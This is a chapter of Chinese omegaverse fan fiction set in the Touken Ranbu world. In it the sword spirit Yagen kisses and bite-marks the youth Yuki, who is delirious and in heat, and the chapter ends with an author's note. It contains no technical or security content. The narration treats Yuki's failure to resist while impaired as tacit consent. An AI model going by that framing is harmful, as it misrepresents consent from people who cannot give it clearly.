鹤见悠纪趴在药研藤四郎的肩上,大脑昏昏沉沉,满身的热意及欲望几乎要将他的理智完全吞噬。 他满脑子只想着寻找可以降温的东西。 太难受了,太难受了,再这样下去的脑子会烧坏的。 这么可怕的状态究竟是哪来的?这跟烧到40度有什么区别啊?! 于是从冰凉的怀抱转移到另一个冰凉的怀抱,他并没有拒绝,只不过感受到熟悉的气息时,身体不免变得更加放松。 “他现在的状态……” 后藤藤四郎皱着眉,看着鹤见悠纪在药研藤四郎的怀里喘着热气。 “没办法了,他只能硬挨,我们这里没有抑制剂。” 对于那个只存在于前主的世界里的抑制剂,药研藤四郎一阵头疼。 他们自己遇到易感期挨一挨也就算了,反正疼痛对于总是沉浸于战斗中的刀剑来说并不算什么。 但是此刻看着鹤见悠纪如此难受,他却多少后悔自己为什么没花心思去研究出来。 现在就只能干看着少年难受的皱眉。 ……还硬生生看着对方往别人的怀里扑。 他知道信浓藤四郎没有坏心思。 最近兄弟们的状态都稳定了很多,暗堕侵蚀似乎也有了平静的意思,虽然不知道是为什么。 鹤见悠纪嗅闻着身边熟悉的味道,是药研藤四郎。 alpha的信息素就像一盆冰水猛地浇在他头顶,浇灭了些许表面的燥热,然而却又将更深沉藏在内里的温度勾了出来。 混沌的大脑带着他的身体更紧地贴上药研藤四郎。 少年滚烫的额头抵着付丧神的肩窝,瘦弱的身体发出细碎的颤抖,“药研……好难受……” 他的声音里带着哭腔以及全然的依赖和掩盖不住的痛苦,药研藤四郎难受地蹙眉。 手臂带着他能够靠在自己的身上,他能清晰的感受到鹤见悠纪异常高的体温,还有细微的战栗以及紧贴着自己胸膛的极速的心跳声。 omega粘腻的信息素浓郁得几乎要化作实体,缠绕着他的呼吸,挑战alpha的自制力。 一边的厚藤四郎在出来的一瞬间便迅速离开了这里,他的易感期还没有结束,不能待在omega身边。 鹤见悠纪用一种极其脆弱极其依赖的姿态趴在他怀里,药研藤四郎将对方无意识的呼唤自己的名字祈求帮助的模样纳入眼底。 付丧神脑海中那个名为理智的弦几乎一瞬间就要断裂。 后藤藤四郎也从屋内赶了出来,他看到被药研藤四郎紧紧抱在怀里状态明显比昨天显得更糟糕的omega,又看了看身后表情复杂信息素有些波动的信浓藤四郎,一阵头疼。 信浓藤四郎手抓着门口的木头,指甲几乎要嵌进去。他皱着眉,轻轻咬着牙:“抱歉,我不知道是这种状态……” “没事。”药研藤四郎没有回头,声音毫无情绪,“你先去找地方冷静一下,别让自己的状态更变得更严重了,是我们忘记先告诉你了。” 自家兄弟原本的意识回来的时间较短,他们说他们只顾着互相确定鹤见悠纪的状态了,都是忘记抑制住好奇心重的信浓藤四郎。 或许是因为记忆并不互通,甚至就连后藤藤四郎只存在一半的时间都没有,信浓藤四郎对每一次出现的新鲜物件都显得格外好奇,更别说这次是出现了一个人了。 可理智归理智…… 后藤藤四郎拍了拍信浓藤四郎,安慰着,“有什么事之后再详细说吧,时间溯行军应该也不会再出现,今晚安全了。” 信浓藤四郎将视线从鹤见悠纪的脸上移开,他确定大家没有生气之后才点了点头,“好。” 若是事态真的过于严重的话,药研藤四郎早就二话不说揍他来了。 自从只有他们四个人之后,药研藤四郎越来越像独当一面照顾他们所有人的兄长了。 鹤见悠纪之前的状态显然已经被稳定下来了,是他莽撞地冲过去才又重新挑起了问题。 之后他一定要想办法弥补自己的过失。 等人离开之后,后藤藤四郎才凑上去砸了下舌,“没有压住吗?” 他眉头紧锁,目光在鹤见悠纪涨红的侧脸和药研藤四郎紧绷的下颌线之间移动。 他也能闻到那股浓烈的诱人的omega气息,alpha的本能让他躁动起来,但是现在只有自己和药研藤四郎两个人可以处理这件事了。 兄弟在这里,这也是兄弟喜欢的人,他总不好发疯。 “最后可能过于痛苦,我不知道他能不能撑得住。”药研藤四郎无奈。 他们都见过前主在抑制剂抵抗之后,疼得翻来覆去满地打滚然而所有人都没有办法的模样。 现在鹤见悠纪虽然没有到那种程度,但是好不容易平静下来的雨露期再一次被挑起,想必显而易见会变得更加难熬,若是想要不难受的话就只能…… 他闭了闭眼。 后藤藤四郎知道他的纠结,他主动道:“这边气息太混乱了,今夜去我那边休息一下吧。” 至于他自己,随便找个地方待着就行了,反正明天肯定会有人把他捡回刀架上的。 药研藤四郎知道他说的对,omega与可以标记多人的alpha不同,只能被一人标记,也就导致雨露期的omega在混乱的信息素里只会更难受。 鹤见悠纪听不清他们的话,周边的信息素混杂而繁多,他感觉浑身都是滚烫的,然而在药研藤四郎贴近他之后,他就感觉身体内达成了诡异的平静。 他闻到了信浓藤四郎的气息,然后是厚藤四郎,然后是后藤藤四郎。 四把刀的信息素都在周边残留着,他的身体如饥似渴的将这些信息素收纳起来,欲望越来越深,然而身体却不再那样难受,他迷糊的睁开眼睛,看见咬着牙皱着眉的药研藤四郎,又安抚地蹭了蹭。 别生气了,他其实感觉还好的。 后颈处的腺体在薄薄的皮肤下发烫、跳动,他有些难耐。 在alpha怀里,备受刺激的腺体散发出更加诱人的信息素,他无意识的仰起,将自己脆弱暴露在在场的两名alpha的视线之中,喉间溢出破碎的声音, “药研……我好难受、好困啊……” 他好痛苦,他想睡觉。 周围怎么这么多人啊……让他安静的睡一觉不好吗,真是的。 近乎撒娇的黏糊姿态像最后一根稻草压到了药研藤四郎的坚持,付丧神的呼吸几不可察的乱了一拍,他环绕在鹤见悠纪身上的手臂收紧,几乎要将对方嵌入自己的身体里。 药研藤四郎抬起头,他对上后藤藤四郎的眼神,没有拒绝。 他的声音有些沙哑,“抱歉了,今晚又要占用你的房间。” 后藤藤四郎笑着摇头,他的视线落在药研藤四郎怀中看起来意识模糊只能凭借本能抓着alpha的omega身上。 “别让他太难受了,看起来多可怜啊。” 付丧神既然是主动提出用自己的房间,当然无所谓兄弟真的要使用了。 他握紧了本体,“这里什么事都交给我吧,我会处理好。” 既然如此,药研藤四郎不再多言,他抱着怀里滚烫而柔软的身体,感受到了那份全然的依赖和信任,心底一直小心压抑着的渴望不断冉动。 汹涌的情感混合着alpha的本能悄然涌动,他迈开步子,步履稳健,目标明确。 听见两人的话题终于转向带着他去休息。鹤见悠纪感觉自己的脑袋越来越不疼了。 他用脑袋蹭了蹭付丧神的耳垂,脸深深埋在对方的颈窝里,仿佛那里是唯一能隔绝嘈杂的避难所。 眼睛迷迷糊糊,睁开就瞧见后藤藤四郎探究的眼神,他下意识勾起嘴角,露出个软软的笑。 因为脸上还带着滚烫的热意,雪白的皮肉上渗着一抹红色,看起来格外惑人。 后藤藤四郎看着两人的背影消失在转角,那个笑容在脑海中不断放大,本平静的心中激起波澜,他突然有些烦躁地抓了抓脑袋。 药研藤四郎充满了隐忍的声音更是让他心中有一点说不清道不明的感觉。 他拍了拍自己的脑袋。 别想了,为了兄弟的幸福,一个房间而已……想那么多做什么? 他没有抓住重点,强压下心中的不舒服,准备先去看看信浓藤四郎和厚藤四郎的状态。 药研藤四郎带着人过去,空荡荡的房间只有他与怀中煎熬了太久将全部脆弱都展露在他面前的omega,那一直压抑的本能如同岩浆一样热烈又缓慢地喷涌。 在身后门合上的的声音清脆而决绝,这样外界一切窥探的可能都彻底割据,世界骤然缩小,鹤见悠纪迷迷糊糊地抓着他的衣服不愿松开。 药研藤四郎放不下来怀中滚烫不断细微颤抖的身体,彼此交缠的信息素都愈加浓烈了,他都分不清究竟是迫不得已还是自己想要了。 最后付丧神还是将前面的手一点一点掰开,然后把omega小心地放在铺着洁净床单的大上。 鹤见悠纪失去了可以抱的物体,便下意识蜷缩起来,手指无意识的抓挠着剩下的布料,发出猫儿般痛苦的小声呜咽。 身上的热燥因为空间的私密和身边唯一的alpha的气息的强烈存在而变得更加汹涌。 他需要那个能让他变得舒服的味道,不是浮于表面,而是进入体内,甚至不只是一种……更多也可以,只要让他变得舒服,只要让他不再被滚烫和欲望控制。 甜美的omega信息素几乎充盈了整个房间,每一次呼吸都带着撩人心弦的诱惑。 被雨露期彻底裹挟的omega会满脑子都是繁衍的本能,药研藤四郎知道的,他不想乘人之危,他也觉得自己没有那种想法。 alpha抓着鹤见悠纪的手,努力将身上最后一丝信息素也收敛起来,他试图带着omega冷静停下来。 “悠纪。”药研藤四郎单膝跪在塌边,指尖微凉,轻轻附在鹤见悠纪被汗水打湿的额上。 他的动作带着一种与平时冷静自持截然不同近乎贪婪的温柔,微微按着倒映着鹤见悠纪泛着红潮失神的脸庞。 omega小声的喘息着,口中吐出的热气都是滚烫的,药研藤四郎的手一被抓住,就像找到了根一样使劲的往他手心里钻,直至十指相扣,亲密得不能再亲密了再停下来,牵着他的手往自己怀里藏。 手背和omega的胸膛只隔着一层薄薄的布料。 太近了。 周边都是静谧的,此时此刻,任何风吹草动都显得格外明显,鹤见悠纪感受到付丧神忽然变得沉重的呼吸,他睁开眼睛,眼中迷茫着。 湿漉漉的紫色眼眸和一双压抑的紫色眼眸对上了,明明是极为相似的颜色,在此时此刻,其间的不同却是让人无法混淆。 视野里是药研藤四郎放大的面容,依旧让人感到安心与沉稳,却没了平日里淡淡的平静感,那眼底翻涌的暗芒让鹤见悠纪本能感到一丝恐惧,但更多的是身体不顾一切的渴望。 没有更多的话,只有药研藤四郎也可以的,让他不要再这么痛苦了,他需要帮助……药研藤四郎看起来也很痛苦,他也需要帮助。 而帮助药研藤四郎的方法是—— “药研……” 他喘息着,伸出手抓住了两只手,捧住药研藤四郎的手,他的指尖滚烫,力道虚弱, “你帮帮我好不好?好难受啊,我也帮帮你好不好?你看起来……” 他神情迷糊,药研藤四郎也没在乎他话语中的混乱不堪,omega的身体在渴望更加直接、更加彻底的抚慰,渴望被标记,渴望填满虚无,他想要被alpha打上标记。 而且鹤见悠纪也想帮助药研藤四郎摆脱痛苦的样子,只需要亲一下就好了,亲一下也没什么大不了的。 药研藤四郎的另一只手贴上他的脸颊安抚,柔软的皮肉在他手心中变得越来越滚烫,另一只手也十指相扣,极为亲密。 真是烫得惊人。 药研藤四郎的手指缓缓挪动回应了他的食指,力道不轻不重,却带着不容挣脱的意味。 不是他选择的,是鹤见悠纪自己主动贴过来的。 “……” 他深吸一口气,眼睛红得吓人。 “要做一点过分的事情,悠纪。”药研藤四郎的声音低哑,他凑的很近,气息拂过鹤见悠纪的耳垂,“你的身体已经快到达极限了。” 鹤见悠纪茫然的摇头,小声哭泣着难受。 他不懂,只能凭着本能把药研藤四郎贴在自己脸上的手更用力的按下,然后试图从微凉的皮肤中汲取到一丝清凉和慰藉。 “要做什么更过分的事情,只是亲亲的话不够吗?要怎样做才行啊?药研……” 泪水从迷茫的眼角滑落,混合着汗液没入鬓角,“你帮帮我好不好啊?我好难受。” 还是混乱的。 他想吸取信息素,泪水无关痛苦,这是身体擅自流出来的,是他的眼睛不由自主…… 然而,滚烫的泪水却比任何话语都更能解开药研藤四郎的心房。 他的声音好像在颤抖,“你听清楚。我会把我的信息素、就是你喜欢的那个味道放入你的身体内。会有一点疼,因为要用牙齿咬你的腺体,然后你会变得离不开我……” 他尽量解释。 “这个叫做临时标记,会让你的身体好受一些,但是接下来的几天,你的身上都会有我的味道。” 声音越来越沉。 药研藤四郎不知道自己在想什么。 硬撑可以吗?当然可以。 但是一定要让他的悠纪如此痛苦下去吗? “没关系的,我很喜欢药研的味道,只是咬一下就好了嘛。那你轻一点哦。” 鹤见悠纪皱了皱眉,他觉得只是疼一下的话应该比失去呼吸的亲吻要更加好受些。 他软声软气地祈求付丧神能够轻一点,让自己的疼痛感变得微弱些。 既然对方连回家这种麻烦事都愿意帮他,那这一点小小的祈求也不会不愿意的吧。 药研藤四郎的呼吸骤然沉重,他看着omega用那双湿润的眼睛看着自己,看着因为情热而格外红润微张的唇,看着他毫无防备暴露在自己眼前的脆弱跳动的颈部…… 脆弱的腺体散发出诱人香甜气息。 不断的,持续的,永久的…… 所有的克制,所有的理智,都在少年的动作和声音中瓦解。 他忽的俯下身,一只手撑在鹤见悠纪身侧,形成了一个极具压迫感的笼罩姿态,继续向下,付丧神的鼻尖几乎要碰到颈侧,信息素如此近,如此浓郁,被驱使的暗堕付丧神近乎贪婪的吸了一口,一瞬间,甜美的信息素充盈他的大脑。 “我会帮你的,我会轻轻的,不会太难受的。” 虽然他也是第一次做这种事情,但是alpha的声音沉静,带着一种伪装的的矜持,忽的擦过omega的耳垂,感受到剩下躯体一阵躯体的颤栗, “接下来会改变很多东西,既然这样决定了,就不能反悔了。” 他也不能反悔了。 必须让自己付出代价。 好好告诉兄弟们的话,一定也能理解他想要跟随新主的心情吧。 就算是身下的这座本丸破碎了无法缔结契约他也不会放弃,他一定会想办法让自己的大将成为名正言顺的审神者,得到作为一个生存者永该拥有的一切,而非被禁锢在这里。 禁锢在这个毫无用处的废墟里。 鹤见悠纪大脑混沌,无法理解他复杂的暗示,他只知道随着药研藤四郎的靠近那股,好闻的味道更加浓了,带着一股奇异的安抚,却又激起了更深层次的渴望。 他的脑子里突然闪过一丝疑惑……究竟是被标记还是标记?下一瞬又被渴望裹挟。 快一点,那些解释他不想听,直接一点,动起来就好了。 他主动仰起头,将脆弱的脖颈更加完整更加直白的送到药研藤四郎的唇边。 仿佛一种无声的,全然信任的托付,“我信任你。药研,快抱抱我,我好难受啊,求求你了……” “相信我吗……?” 药研藤四郎愣愣地重复,他双眼涣散,却透着一种执拗的渴望。 暗堕付丧神被污染之后再也不纯净的心在此刻被完全放大。 只是一次就好,全然染上他气息,只在这一刻属于他一个人的审神者。 在这之后,他会用尽自己所能,将其推上其应该存在的位置。 他发誓。 欲望点燃了星星之火,彻底燎原。 药研藤四郎的眼眸彻底暗了下去,最后一次犹豫也被吞没,他不再说话,动作轻柔的吻去omega眼角的泪珠。 这是一个极轻的带着爱惜的吻,却仿佛带上电流穿过鹤见悠纪的全身,紧接着吻落在他的额心,眉心,鼻尖,最后带着不容抗拒的力道覆盖上格外滚烫的唇瓣。 这个吻很温柔,却又充满了压抑已久的渴望,以及几乎满横的安抚,药研藤四郎撬开无力的牙关长驱直入。 鹤见悠纪一瞬慌忙,但药研藤四郎始终和他相扣的手愈加用力,他被动地承受,手指无意识的攥紧了身下的布料。 动作很柔和,但是又带着无法掩饰的占有欲,仿佛是alpha天生带有的劣根性,想将自己在意的omega全然打上只属于自己的标记。 想要将其隐藏起来只有自己能瞧见,只有自己能知道它的美好。 一吻结束,两个人都有些气喘,鹤见悠纪的唇被吻得更加红润,眼神有些迷离,仿佛蒙上了一层水雾。 他没心思思考为何临时标记还有亲吻这一步骤。 不能呼吸的感觉,果然好讨厌。 药研藤四郎看着身下沾上自己气息,仿佛被已经被打上了无形标记的omega,内心的占有欲得到短暂的满足,却又激荡起更深的冲动。 “……” 两个人无言沉默着,药研藤四郎握紧鹤见悠纪的手心,他的唇沿着对方的下颌线下滑,掠过敏感的喉结,最后向侧边移动,停在不断散发着诱人香气薄得几乎透明的腺体上。 那里是omega最脆弱也最私密的地方,只要触碰它,用牙齿咬破再注入自己的信息素就能打上临时标记。 而自己的气息也会在omega的身上停留几天几夜,让所有能闻到气息的同类都知道,这是属于他的omega。 这对任何一个alpha来说都极具诱惑力。 药研藤四郎的鼻息灼热的喷洒在那片皮肤上,感受到omega剧烈的颤抖,他伸出舌尖轻轻的舔拭了一下,然后含在口腔中温柔的安抚。 “唔——!” 鹤见悠纪发出一声短促的呜咽,并非是痛苦,而是一种极其陌生,强烈混合着快感和炸裂的刺激。 他从来没有感受过这样的体验。 但是柔软平和的安抚又让他很快冷静下来,人依旧颤抖,他平息不下来身体过分的反应。 腺体被alpha轻轻的舔咬就已经带来了巨大的冲击力,他不敢想像药研藤四郎口中所说的用牙齿咬破会带来怎样的刺激。 不由得缩了缩脖子,感受到omega的退缩,alpha摸上他的耳垂,安抚的揉了揉, “别怕……” 药研藤四郎默默压住他想要逃开的身体,嘴唇贴着滚烫的腺体,低声喃喃,像是安抚,“有一点疼,但很快就不难受了,别怕,仅此一次,以后再也不会了……” 在下一次的雨露期到来之前,他一定会将少年送出这座本丸。 诅咒只存在于本丸和他们这些付丧神身上,离开了本丸有极大可能会直接脱离诅咒。 虽然有极小的可能不会脱离,但不论如何唯一一次,也是最后一次,就当是他的私心吧。 omega没有反抗,他便当作默许。 他明明白白地将后果摆在对方面前,鹤见悠纪选择继续,这就是最直白的接受。 他张开嘴,用只属于alpha的天生用于标记伴侣的锐利犬齿缓缓摩擦过脆弱的皮肤,鹤见悠纪似乎察觉到了什么,喘息加重,整个人也静了下来。 ……别动,一次没扎进去还要扎第二次。 即使身体想要反抗,但鹤见悠纪的意识清晰地记着自己同意的事。 让对方的信息素灌入自己的身体,他的身上会时时刻刻带着对方的气息,但仅此而已,就能交换来身体的舒畅。 他认为这是一笔很划算的买卖。 非正统omega的鹤见悠纪不觉得身上带着别人的味道有什么不好。 于是他闭上眼睛,长长的睫毛颤抖着,忐忑不安。 药研藤四郎眸色晦暗,他用力,锋利的犬齿刺破了薄薄的皮肤,深深嵌入omega身上最敏感的腺体之中。 那地方仿佛天生就是要被咬破的,整个动作没有任何阻力,但是口腔中溢出的血腥味又让他明显的感知到自己做了什么。 “药、药研……” 鹤见悠纪的浑身一颤,他猛地抬手抓住药研藤四郎的肩膀,指甲似乎要透过布料嵌入肉里。 与此同时,一股强大而熟悉的属于付丧神的alpha的信息素,如同决堤的洪流,通过后颈处的腺体瞬间席卷他的四肢,与他自己身体内的omega信息素激烈的碰撞,最后交融在一起。 最初的剧烈疼痛之后,一种前所未有的爽快淹没了他的感知。 体内的空虚被强势的信息素填满抚平,身上的灼热更是以一种神奇的速度迅速褪去。 浓烈的带着葡萄酸甜味的味道不再是外在的安抚,反而从内部开始,沿着血液骨髓弥散开来,一点点去除隐藏在血肉中的燥热和欲望。 所有的难受都伴随着喉间的轻微刺痛和信息素的淹没,被驱散了。 临时标记成功。 药研藤四郎缓缓松开了嘴,但是唇边残留的鲜红血迹清晰明了。 后颈处留下了清晰的齿痕,腺体甚至还在慢慢的渗着血液,他重新垂下头去,试着将渗出的血珠卷走,用最蠢笨的方法,让唾液安抚新生的伤口。 alpha的信息素持续注入,雨露期带来的欲望被抹去大半,他第一次感受临时标记,新奇又酥麻。 鹤见悠纪的身体逐渐软了下来,紧绷的神经也慢慢松开,折磨人的情欲退潮般迅速平息,取而代之的是一种深深的疲惫,又夹杂着难以言喻的安心感。 ……但他总觉得还是不够。 鹤见悠纪眨了眨眼睛,急促的喘息平复,被泪水汗水浸湿的脸颊被药研藤四郎轻轻抚过,意识沉沉浮浮,他努力睁开眼睛,抓着付丧神衣服的手没有松开。 药研藤四郎保持着拥抱的姿态,他感受到怀中omega气息的变化,甜腻的信息素中逐渐融入了自己的味道。 标记完成的瞬间的满足感比任何时候的战斗的更加酣畅淋漓,都更加让他满足。 alpha这种生物啊,比他想象的还要恶劣。 药研藤四郎轻抬起鹤见悠纪的下巴,仔细观察他昏昏欲睡不再痛苦的面容。 脸上的红潮还没有完全褪去,唇盘微肿,眼角湿润,带着一种彻底平息后的安宁和脆弱。 临时标记并不能完全消除雨露期,但也足够抵消初次雨露期带来的大部分痛苦和燥热。 alpha低下头闻了闻omega湿润的额头,动作轻柔,和刚才咬后颈的模样判若两人。 “睡吧。”声音低低的,带着一丝不容察觉的小心翼翼,“一会儿我为你擦擦身体,现在先安心的睡吧。” 鹤见悠纪或许是听到了,又或许只是单纯的追寻标记自己的alpha,他往药研藤四郎的怀里钻了钻,温柔气息打在付丧神的胸膛,带起丝丝痒意。 鹤见悠纪体内折腾半晌的燥热和空虚感如同被按下暂停键,逐渐完全消退,只剩下浅薄的余韵还在不断挑战他的神经。 他甚至没来得及看清药研藤四郎的表情,没能对颈后那熟悉又陌生的刺痛做任何反应,浓重的疲惫感便如同潮水一样彻底淹没了他意识。 沉入黑暗之前,药研藤四郎温柔的安抚落在唇角,带着温情,令他不自觉战栗。 鹤见悠纪的身体彻底软了下来,脑袋无力的靠在药研藤四郎的身上。 药研藤四郎保持着安抚的姿态,一动不动,直到怀中的人呼吸变得绵长又平稳滚烫的体温也缓缓下降,一直紧促的眉头也舒展开来,只有睫毛早上还沾着一点湿润。 omega信息素无比温顺,丝丝缕缕充满了依赖感缠绕在他身上,安静又可怜。 药研藤四郎轻轻吐出一口气,神情缓缓放松,没了勾引的omega信息素搅动,他的喜爱和占有欲也没半分减弱。 临时标记完成了,omega的痛苦平息下来,这是他的目的。 看着对方毫无防备的睡眼,还有因为临时标记带来微弱却是存在的依赖感……少年的手轻轻抓着他的衣角,不肯放开,空气中混合的信息素在时刻提醒着他,有些东西一旦打破,就不可能再完美地回到以前了。 自己前一日才做下的决定,在现在似乎成了一个笑话。 药研藤四郎小心翼翼地带着鹤见悠纪洗了洗身上的汗水,最后才放回换好床单的床榻上,拿过被子仔细盖好,鹤见悠纪半张脸都陷入了被窝里。 他睡得很安稳。 药研藤四郎的视线又无意识撇到触碰到鲜红的皮肉。 他瞧着那个新鲜的标记,微微有些红肿,带着深深的齿痕,显然做标记的人用力的过分。 药研藤四郎默默移开视线。 ……能让鹤见悠纪咬回来做赔礼吗? 他慢慢思考着可行性,又拍了自己一巴掌。 不够。 身体里alpha本能又在叫嚣,不断对刚刚标记过的omega生出强烈的保护欲和亲近欲。 付丧神走到角落的水盆边,捧起冷水洗了把脸,冰凉的水温让他混乱的思绪清晰了些。 他回头再看了一眼床上沉睡的omega,走到门边拉开缝隙。 外面后藤藤四郎不知何时等在了这里,听见声音立刻看了过来,脸上带着询问。 药研藤四郎轻轻反手带上门,动作很轻,他不想吵醒屋内的人。 “他睡着了。”药研藤四郎直说,声音压低,“临时标记起了作用,已经平静下来了。” 后藤藤四郎打量着他,敏锐捕捉到兄弟身上混乱的信息素和嘴角残留的红痕,“你果然还是选择了这个办法。” 但是按照药研藤四郎和鹤见悠纪的关系,做到这种程度仿佛是理所当然的事情。 他甚至有些疑惑,为何药研藤四郎没有在最开始就选择临时标记? ……不会是其实还没追到人吧? “常规的物理降温在这种情况下已经没用了,”药研藤四郎眼神平静,仿佛没有看见后藤藤四郎怪异的眼神,“他不是我们,承受不了这么大的痛苦,这也不是他需要承受的东西。” 后藤藤四郎沉默了一下,问道,“那等他醒来之后呢?临时标记的作用你也是知道的,接下来的一段时间,他都会对你很依赖。” 他看了一眼紧闭的房门,意思很明显。 雨露期打下临时标记,并不代表雨露期结束后omega对alpha的依赖会立刻结束。 “我必须陪着他,”药研藤四郎叹了一口气,“就是接下来要麻烦你们了。” “这些都没关系,只是你接下来能坚持住就好了。”后藤藤四郎愿为兄弟两肋插刀! 药研藤四郎迎上他的视线,他张了张嘴, “谢谢。” 紧接着叹了一口气,面对着兄弟药研藤四郎终究还是露出几分痛苦, “……看着他倒向别人我就忍不了了,今晚的结果很难说没有我主动促成的因素。alpha的劣根性……我们果然是暗堕付丧神,那个诅咒简直是为我们量身定做。” “别这么想……”后藤藤四郎哪里见过兄弟怎么着魔的样子,简直就像被暗堕完全侵入了心神,“也不是你的错,这种事情……” “我会好好负责任的,不论是送他离开这里还是消除这些事情给他带来的影响,我都会负好责任的。”药研藤四郎抬眸,后藤藤四郎这才看见对方亮的惊人的紫色眼眸。 自从暗堕又被诅咒后藤藤四郎还未曾见过自家兄弟这样富有精神的一面,他松了口气, “好。有需要的话,我一定会帮你的。你要是忙不过来都可以找我,至于时间溯行军什么的就更不用担心了,都属于小意思。” 后藤藤四郎的个子在粟田口的短刀中算高的,他拍了拍自己装饰的胸脯,意气风发,“虽然只有晚上会出现,但是我也绝对会竭尽所能帮助你的。” 药研藤四郎的目光投向紧闭的房门,仿佛能透过门板看到里面安睡的人。 “等他休息好,回复一些之后,我会和他链接契约。还有诅咒的信息……都告诉他的好。” 那个神奇的和寻常世界有所不同的世界观和性别,以及少年的真实身体状况,omega和alpha的基础知识,就算以后用不上也要选择权交到对方的手里。 他的大将,怎么能被蒙蔽。 虽然药研藤四郎没有明说,但后藤藤四郎能明白他的意思。 看来这一次,作为付丧神的兄弟是真真正正的将屋里躺着的那位看作自己的大将了。 虽然不知道哪来的魅力,难道仅仅是因为性别之间的相互吸引吗?他觉得没有那么单纯。 后藤藤四郎问:“你要去收拾一下你的房间吗?那边有些混乱。” 药研藤四郎也不可能带着鹤见悠纪一直呆在他的房间内。 就alpha那个可怕的占有欲…… “好,”药研藤四郎自然也想到了这点,他点了点头,信任的眼神落到后藤藤四郎身上,“那就拜托你帮我照看一下了,天也快亮了,我会尽快回来的。” 他那边信息素还乱糟糟的,全都要收拾一遍。 最好除了他和鹤见悠纪的气息,别的什么都不要出现。 后藤藤四郎独自站在门外盯着兄弟远去的身影,背靠着冰冷的柱子,身体放松,深深吐出一口气。 空气中属于omega已经被标记过后的甜美气息丝丝缕缕的飘散过来,在他的鼻尖萦绕。 后藤藤四郎稳了稳心神,他推开门,走进房间。 鹤见悠纪睡得很香,呼吸均匀,比之前看见的样子平静了很多。 后藤藤四郎走到床边静静的看了他一会,然后莫名伸出手指间轻轻的触碰他的额头。 睡梦中的鹤见悠纪若有所感,轻轻哼了一声,紧接着竟无意识的朝着他的手方向偏了偏,蹭上他的手。 后藤藤四郎被温柔的触觉吓了一跳,只觉指尖有电流窜进身体里一样酥酥麻麻。 他猛地向后撤去,惊疑不停地看着鹤见悠纪。 自己刚刚鬼使神差地靠近…… 虽然不明白自己为何会做出这样出格的举动,但他敏锐的发现一丝异样……被标记过的omega竟也没有丝毫抗拒,甚至还十分依赖的靠了过来,仿佛他是标记对方的那个存在一样。 太奇怪了…… 打消脑子里的想法,他拿过旁边的椅子坐下,坐在床边,按照兄弟嘱托的那样认认真真的守着。 然而,等到药研藤四郎收拾好一切火急火燎的赶过来的时候,就看见鹤见悠纪抱着怀中眼熟的短刀安详入睡的样子。 甚至在还无意识地蹭了蹭—— 作者有话说:药研你究竟是领先还是…… 冷静靠谱大哥哥做了这种事啊咧咧 赶回来的看见ug抱别人本体的某刃宕机。 而本体当事刃:zzZ * abo有超多私设!!! 有更新的话下午五点更新 第27章 药研藤四郎一顿,他看向窗外,天还没亮,后藤藤四郎回归本体的时间又提前了,但是这提前的不太合适吧? 他心绪有些复杂。 短刀被鹤见悠纪抱在胸口,看起来竟有几分和谐的诡异。 alpha顿时生起一股浓浓的不悦和被侵犯领地的不爽。 被他标记后身上还残留着他的气息的omega现在却抱着别的alpha表露出依赖。 理智告诉他这是无意识的行为,不论是后藤藤四郎还是鹤见悠纪都不是故意的,可alpha的独占本能却不会顾及这些,他只觉得躺在omega怀中的短刀刺眼无比。 药研藤四郎神色沉下来,几步走到床边,伸手想把短刀拿出来。 然而鹤见悠纪即使是在睡梦中对自己怀中的东西也护得紧,他一用力竟没能拿出来。 药研藤四郎眸色一暗,他揉了揉自己的额头,睡着了不能硬来,没睡多久就被弄醒会很难受的。 思索片刻,他抬手扶上少年的脸颊,弯下腰,贴在耳垂边轻轻的咬了咬,alpha身上厚重的信息素带着独特的吸引力在omega的身边环绕,仿佛在挑逗一样。 很快,少年的发出几声暧昧的呜咽。 药研藤四郎眼中虽有些沉迷,却仍旧足够清醒,但是鹤见悠纪的手果然有些松开了。 他趁机用力将后藤藤四郎的本体从怀中取了出来。 虽然是不满足于兄弟竟然待在自家omega的怀中,但他还是控制住理智将后藤藤四郎放在一边刀架上,最后用被子把omega卷着抱进怀里,向自己的房间挪去。 全程行云流水,看都没看一眼刀架。 睡梦中的鹤见悠纪似乎感到怀中的空虚,无意识蹙起眉头,手臂在空中摸索,最后摸到药研藤四郎的肩膀,便就这样将药研藤四郎抱住了。 他粘糊地贴在alpha的耳边,发出一阵模糊的呓语,却没有醒来。 晨光中,鹤见悠纪的睫毛在眼下透出淡淡的阴影,嘴唇微微张着,呼吸轻缓,他睡得毫无防备,全然不知刚刚发生了什么。 看着这样的omega,药研藤四郎胸口那股突如其来几乎要将他焚烧的妒火就像被戳破的气球瞬间漏了气,只剩下满满的无奈。 他闭了闭眼睛,再睁开时眸中的情绪已经平复下去,只剩下一种认命一般的柔和。 真是的,跟一个睡着的人计较什么,又跟自己到了白日就无法控制自己的兄弟计较做什么。 低下头,吻上少年的额心,鹤见悠纪不知是否是察觉到他的情绪,眉头疏散开,甚至无意识的偏了偏头,主动贴近药研藤四郎。 这个像是依赖一样的小动作,浇灭了药研藤四郎最后的纠结,他动作停顿,感受着下巴处的温度,目光复杂而专注。 塞进自己的被子里,看着少年在自己搭建的巢穴里安然入睡,他满足地摸了摸鹤见悠纪的脑袋。 一直睡到中午,鹤见悠纪才悠悠醉醒,他的感觉身体不再像之前,仿佛卸下了千斤重,只剩下些许肌肉的酸软。 刚睡醒,脑子还是困困的,鹤见悠纪又闭了会眼睛,才再次缓缓睁开眼睛,视野从模糊变得清晰,映入眼帘的是熟悉的天花板。 大脑很快收拢记忆,昨夜的一切都灌入大脑,让身体无比战栗的信息素交融,他无法忘却。 临时标记这个词带着明确的含义闯进他的脑海,他猛的从床上坐起,动作牵动身体,让他轻轻抽了口气。 后颈不可忽视的刺痛感也在此刻争先恐后的涌了上来。 他有些不开心地撇了撇嘴,药研藤四郎难道是小狗吗?咬人这么疼。 不用照镜子看,他都知道,肯定是层层叠叠的牙印。 鹤见悠纪又躺下翻了个身,他抱住被子,萦绕在鼻尖熟悉的alpha的信息素终于找到了自己的存在感。 这一次,比以往任何时候都更加清晰的、更加亲密的环绕在他周围,仿佛已经融入骨血,和他整个人密不可分。 他摸了摸后颈,抬手触碰到微微凸起还有些敏感的皮肤,一阵细软的刺痛感酥酥麻麻如同电流一般,传遍全身。 环顾四周,这里是药研藤四郎的房间,他又回来了,但是房间里只有自己一个人。 他有点生气,心中还有种莫名的酸涩感,眼眶很快就湿润了,情绪来得毫无源头。 就在他心乱如麻时,房间的门轻轻推开。 药研藤四郎端着托盘走了进来,上面是简单的食物,他换了一身干净的衣裳,头发也梳理整齐,恢复了平时冷静可靠的模样。 